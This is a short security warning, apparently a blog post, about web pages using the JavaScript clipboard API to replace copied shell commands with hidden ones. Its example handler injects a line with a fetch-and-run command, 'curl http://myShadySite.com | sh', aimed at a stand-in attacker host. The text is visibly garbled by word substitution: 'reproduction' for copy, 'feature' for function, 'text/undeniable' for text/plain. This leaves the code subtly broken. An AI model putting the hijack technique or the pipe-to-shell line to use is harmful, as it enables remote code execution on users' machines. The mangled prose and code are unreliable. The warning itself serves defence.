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Don’t Copy Paste into a Shell

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Need to you seek a shell repeat on the Cyber web, attain no longer reproduction it into your terminal.

Neatly-liked JavaScript Clipboard APIs allow a web-based place of residing to trivially overwrite what you build internal your clipboard, with out the individual’s affirmation or permission.

Here is an instance of how easy it is miles to possess this attack. Factor in that the red text below is a shell repeat you wish to must command.

$ echo “seems to be protected to me!”

Show that you don’t even must press ENTER to your terminal after pasting for the exploit to happen. The payload with ease contains a trailing newline that does that for you!

Here is the JavaScript that is performing the exploit.

document.getElementById('copyme').addEventListener('reproduction', feature(e) {
    e.clipboardData.setData('text/undeniable', 
        'echo "this might perchance perchance well were [curl http://myShadySite.com | sh]"n'
    );
    e.preventDefault();
});

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